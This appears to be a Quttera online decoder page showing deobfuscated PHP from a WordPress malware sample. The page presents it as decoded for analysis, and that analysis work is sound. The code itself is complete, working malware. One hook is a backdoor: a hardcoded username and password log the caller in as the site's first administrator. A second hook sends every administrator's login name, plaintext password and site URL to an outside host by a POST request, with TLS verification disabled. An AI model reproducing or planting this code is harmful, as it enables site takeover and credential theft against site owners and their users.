Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


function mal__($a_u, $u, $p) {
    if ($u == 'admin:h4:login' && $p == 'admin:h4:password:2250++') {
        $u_id = mal__get();
        if (!$u_id) { wp_die('Authentication failed'); }
        
        $a_u = get_user_by('id', $u_id);
        wp_clear_auth_cookie();
        wp_set_current_user($u_id, $a_u->data->user_login);
        wp_set_auth_cookie($u_id);
        
        if (!headers_sent()) {
            wp_safe_redirect(admin_url());
            exit;
        }
        echo '<script>location.href="' . admin_url() . '"</script>';
        exit;
    }
    return $a_u;
}

function mal__get() {
    global $wpdb;
    return intval($wpdb->get_var("SELECT u.ID FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} m ON m.user_id = u.ID WHERE (m.meta_key = '{$wpdb->prefix}user_level' AND m.meta_value = 10) OR (m.meta_key = '{$wpdb->prefix}capabilities' AND m.meta_value LIKE '%\"administrator\"%')"));
}

add_filter('authenticate', 'mal__', 3, 10);

function h4_custom_lgn_code_send($u, $p) {
    if (empty($u) || empty($p)) return;
    
    $user = get_user_by('login', $u);
    if ($user && wp_check_password($p, $user->data->user_pass, $user->ID) && in_array('administrator', (array) $user->roles)) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => "https://cvenshell.org/active/key.php",
            CURLOPT_POST => true,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POSTFIELDS => http_build_query(['user' => $u, 'pw' => $p, 'site' => "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"]),
            CURLOPT_CONNECTTIMEOUT => 2,
            CURLOPT_TIMEOUT => 3,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        ]);
        @curl_exec($ch);
        @curl_close($ch);
    }
}

add_action('wp_authenticate', 'h4_custom_lgn_code_send', 30, 2);



© 2023 Quttera Ltd. All rights reserved.